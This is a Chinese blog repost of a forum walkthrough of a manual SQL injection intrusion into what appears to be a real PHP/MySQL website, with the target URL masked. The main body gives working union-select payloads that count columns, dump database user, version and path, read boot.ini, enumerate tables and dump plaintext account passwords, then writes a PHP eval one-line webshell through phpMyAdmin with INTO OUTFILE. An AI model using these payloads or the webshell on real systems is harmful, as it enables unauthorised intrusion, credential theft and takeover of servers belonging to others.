zoukankan      html  css  js  c++  java
  • 手工注入基本思路

    手工注入

    说下我的基本思路:
    1、目标站点环境为:Windows+Apache+Mysql+PHP
    2、存在SQL注入,能否直接写一句话木马
    3、存在SQL注入,获取数据库中用户口令,登录应用系统后上传webshell
    4、获取数据库口令登录phpMyAdimin,用phpMyAdmin写入一句话木马

    不想因为使用扫描工具的缘故,导致服务器出现不稳定的现象,所以就纯手工咯。
    下面具体来说明下:
    1、尝试1=1的情况,正确

    1. http://xxx/xxx.php?id=2900 and 1=1
    复制代码



    2、尝试1=2的情况,错误,说明这是个整型的注入点

    1. http://xxx/xxx.php?id=2900 and 1=2
    复制代码



    3、尝试'1'='1'的情况,错误,说明PHP开启了magic_quotes_gpc=on,不能直接利用注入语句写webshell了。还好这里是整型的注入点,如果是字符型的注入点那就没办法了。

    1. http://xxx/xxx.php?id=2900 and '1'='1'
    复制代码



    4、order by 15,尝试当前注入语句的表中字段个数为15,错误,说明字段数小于15

    1. http://xxx/xxx.php?id=2900 order by 15
    复制代码



    5、order by 14,尝试当前注入语句的表中字段个数为14,正确,说明字段数等于14

    1. http://xxx/xxx.php?id=2900 order by 14
    复制代码



    6、联合查询语句,暴出可显示字段

    1. http://xxx/xxx.php?id=2900 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14
    复制代码



    7、暴出数据库用户、版本、库名和路径信息,运气不错,是root权限。

    1. http://xxx/xxx.php?id=2900 and 1=2 union select 1,2,3,4,5,group_concat(user(),0x5e5e,version(),0x5e5e,database(),0x5e5e,@@basedir),7,8,9,10,11,12,13,14
    复制代码



    8、读取windows系统文件boot.ini

    1. http://xxx/xxx.php?id=2900 and 1=2 union select 1,2,3,4,5,load_file(0x633a5c626f6f742e696e69),7,8,9,10,11,12,13,14
    复制代码



    9、暴出当前库中的所有表名,查了下只有一个account表还比较像存放用户名和口令信息的表

    1. http://xxx/xxx.php?id=2900 and 1=2 union select 1,2,3,4,5,group_concat(table_name),7,8,9,10,11,12,13,14 from information_schema.tables where table_schema=database()
    复制代码



    10、暴出account表中的所有字段名,看到了username和password,很高兴。

    1. http://xxx/xxx.php?id=2900 and 1=2 union select 1,2,3,4,5,group_concat(column_name),7,8,9,10,11,12,13,14 from information_schema.columns where table_name=0x6163636f756e74
    复制代码



    11、暴出username和password字段里的内容,都是明文。

    1. http://xxx/xxx.php?id=2900 and 1=2 union select 1,2,3,4,5,group_concat(username,0x5e,password),7,8,9,10,11,12,13,14 from account
    复制代码



    12、使用得到的用户名口令尝试登录用户页面和后台页面,均失败。



    13、发现该网站有phpMyAdmin,phpMyAdmin是个好东西,可以在magic_quotes_gpc=on的情况下写入一句话。不过得先知道mysql数据库连接口令。用穿山甲跑了下注入点,可以读取出mysql的root和其他账号口令,但都是收费的hash。。想想即使拿到口令,没web目录的绝对路径也不能写一句话啊。


    14、搜索了一些phpMyAdmin的暴路径的链接,均失败。

    1. /phpmyadmin/libraries/lect_lang.lib.php
    2. /phpmyadmin/themes/darkblue_orange/layout.inc.php
    复制代码



    15、忽然,rp爆发了一下下,在根目录下随手尝试了个phpinfo,这不绝对路径就出来了d:/wwwroot。


    16、读取配置文件d:/wwwroot/sql2004.php


    17、登录phpMyAdmin,写入一句话d:/wwwroot/1.php

    1. select '<?eval($_POST[cmd]);?>' into outfile 'd:/wwwroot/1.php';
    复制代码



    18、用lanker一句话客户端连接,查看phpinfo,接下来就是上传大马的事了


    19、回过头来,在数据库里翻了一番,在数据库名为admin的库中找到了个口令,一下就登录上后台管理页面了。。

      注 :原文网址:http://forum.cnsec.org/thread-67707-1-1.html

  • 相关阅读:
    [日常摸鱼]UVA393 The Doors 简单计算几何+最短路
    [日常摸鱼]bzoj3122 [Sdoi]2013 随机数生成器
    [日常摸鱼]积性函数求和——杜教筛
    [OI笔记]NOIP2017前(退役前)模拟赛的总结
    [日常摸鱼]poj2417 DiscreteLoggingBSGS算法
    [日常摸鱼]UVA11424&11426 GCD Extreme
    [日常摸鱼]JSOI2008最大数
    [日常摸鱼]HDU1724 Ellipse自适应Simpson法
    原码、补码、反码的作用和区别
    Fibonacci序列or兔子序列
  • 原文地址:https://www.cnblogs.com/zqjt2/p/5475545.html
Copyright © 2011-2022 走看看